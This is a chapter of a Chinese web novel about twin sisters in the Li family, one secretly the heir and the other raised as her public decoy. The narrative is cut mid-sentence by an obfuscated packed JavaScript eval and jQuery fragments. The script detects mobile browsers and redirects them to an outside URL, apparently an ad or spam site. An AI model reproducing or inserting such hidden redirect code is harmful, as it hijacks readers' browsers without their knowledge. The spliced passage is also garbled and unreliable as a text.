13岁的黎许。


    她踏着月色舞蹈。


    或许柳月教她的舞步真的是正确的，不然她怎么会有心领神会、勾连天地的感觉呢。


    她闭上眼，呼吸渐渐与风声融为一体，心跳仿佛与大地深处的脉动同步。


    她感觉自己不再是一个独立的个体，而是与天地相连的一部分。风穿过她的身体，带走了所有的思绪和杂念；她的意识逐渐模糊，仿佛融入了这片广袤的宇宙，与山川、河流、星辰同频共振。


    这样的幸福有种扒在她骨髓上吸血的痛苦。


    因为黎许知道，真正要跳蹈火舞的不是她，真正的神子也不是她，她不过是摆在明面的靶子罢了。


    ……


    黎许听到有人叫她。回过头，原来是白惊华。确实，他们约好练习蹈火舞，她跳舞，他伴奏。


    但白惊华一直在往左边张望，不知道在看什么。他几步一回头。


    黎许一直对他招手，白惊华为难地跑过来。


    “你在看什么呢？”


    “没……没什么。”


    看着很心虚。


    不过黎许无所谓他在隐瞒什么，只想好好练自己的舞。


    “我们抓紧时间排练吧。待会还要辛苦你，再和我妹妹练一次。”


    *


    齐崎厚着脸皮跟在黎诺身边，“打探敌情”。


    黎诺竟然也没赶她。


    竟然真的给齐崎发现许多和传闻不一样的事实。


    黎诺作为次女，不是继承人，竟然享受比长女更好的待遇。这是其一。


    其二，“为什么你也要练蹈火舞？”齐崎问黎诺。


    “为什么我不需要练呢？”她反问。


    “额……不是选的黎许来跳春日祭那天的蹈火舞吗？”


    “你这样认为嘛……哈哈”


    其三，黎清欢和黎清歌对黎诺的态度，十分耐人寻味。


    那天，黎清欢和黎清歌刚和柳长老谈完事。便先来了黎诺庭院。


    和齐崎想象中的母女交流态度不同。


    黎清欢对黎诺，竟然是尊敬，或者说，充满疏离感的。


    不像母女，比较像上司和下属。


    “你母亲和女儿都这么疏远吗？”齐崎问黎诺。


    “她对黎许不这样。”


    “那也是。毕竟黎许是继承人。”


    “你在我身边待了这么久，是瞎的吗？”黎诺转过来，冷淡地斜睨她，“我才是继承人。”


    *


    表面来看，黎许学什么，也会跟着让黎诺学什么。一人一份，绝不少给一个。


    其实，是黎诺要学的，黎许都要会，这样才能成为她的影子，她最好的替身，替她挡灾。


    小黎许给小柳月讲了这样一个故事。


    她们出生的那年，全城的梨花盛放。满城都欣喜不已，期待有一个神女的到来。


    有一天，一个神秘人踩着满城的梨花瓣，来到了黎家。


    她看到两个襁褓中的婴儿。


    指着其中一个说道，“她注定是上天选中的神女。但她的命运轨迹难以琢磨，或许会遭到不断地伤害与恶意的偏转。”


    她指着另一个婴儿说道，“让她的姐妹充当保护伞，让她姐妹承担她的责任，神女便只要享受神女的权利，无须负担神女与之相伴的风险与磨难。”


    “并且，对外宣传，这个孩子才是神女。”


    黎清欢抱起黎许。“这对这个小孩不会不公平吗？”


    神秘人微笑道，“成


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140063|164485||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    功本来就是不公平的。一些人的成功，就是另一群人的失败。”


    柳月的眼睛直勾勾地盯着小黎许，听着这个故事，看不出情绪。


    “3岁的时候，我得了一场大病。从此我的视力衰退，妹妹的眼睛越来越明亮，拥有了超出常人的视力


    柳月凑上前去盯着她的眼睛。


    “现在我眼睛植入了晶体，所以是正常的。”


    柳月点点头。


    “我也跟你交换一个秘密。”


    他凑到黎许耳边，“我刚生下来就没有了爸爸妈妈。”


    黎许继续说道，“6岁的时候，我被绑架了。他们要绑黎城的神子，问出黎家的秘密。其实我也不知道具体是什么，妈妈只告诉了妹妹。在被饿了一周以后，我被救出来了。从此，我的胃就吃不了太多东西了。”


    柳月在她耳边说道，“在我们村子里，每家的饭我都吃过，不过，不能呆很久，要轮着吃，不然他们会嫌我烦。”


    黎许分享道，“8岁的时候，我在义堂给大家送东西，有人不满黎家很久，一直在闹事，我怎么安抚也没用，他们一直往我身上扔垃圾，我也不能躲。那是我最臭的一天。”


    柳月说道，“我每年都要给我们村子做扶乩。”


    “我12岁的时候……等等？扶乩？你？”


    柳月点点头。“扶乩，怎么了？很奇怪吗？”


    用人做扶乩。相当于以人为连接神灵的载体，神降的容器。短期可能丧失记忆、深思混乱，长期则可能失去理智、永不清醒。


    “你现在……还好吗？”


    “你还好吗？”


    “我挺好的。”


    “那我也不错。”


    两个人一起倒在草坪上，晒起了太阳。